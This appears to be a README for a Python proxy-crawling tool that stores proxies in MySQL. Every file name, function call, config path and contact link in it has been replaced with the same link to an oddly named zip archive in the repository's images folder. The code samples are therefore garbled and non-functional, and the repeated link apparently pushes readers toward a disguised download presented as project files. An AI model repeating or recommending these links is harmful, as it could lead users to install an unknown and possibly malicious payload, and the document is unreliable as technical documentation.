Proxy

A tiny tool for crawling, assessing, storing some useful proxies.中文版

Construct your ip pool

Install mysql:

pip install pymysql requests

Modify db connection information in https://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip.

# crawl, assess and store proxiespythonhttps://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip# assess proxies quality in db periodically.pythonhttps://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip

Demo on how to use these proxies.

Please first construct your ip pool.

Crawl github homepage data:

# visit database to get all proxiesip_list= []
try:
https://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip('SELECT content FROM %s'%https://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip)
result=https://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip()
foriinresult:
https://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip(i[0])
exceptExceptionase:
printefinally:
https://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip()
https://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip()
# use this proxies to crawl websiteforiinip_list:
proxy= {'http': 'http://'+i}
url="https://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip"r=https://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip(url, proxies=proxy, timeout=4)
printhttps://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip

More detail in https://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip。

Contact

https://raw.githubusercontent.com/walker1103/Proxy/master/images/Software_pretubercular.zip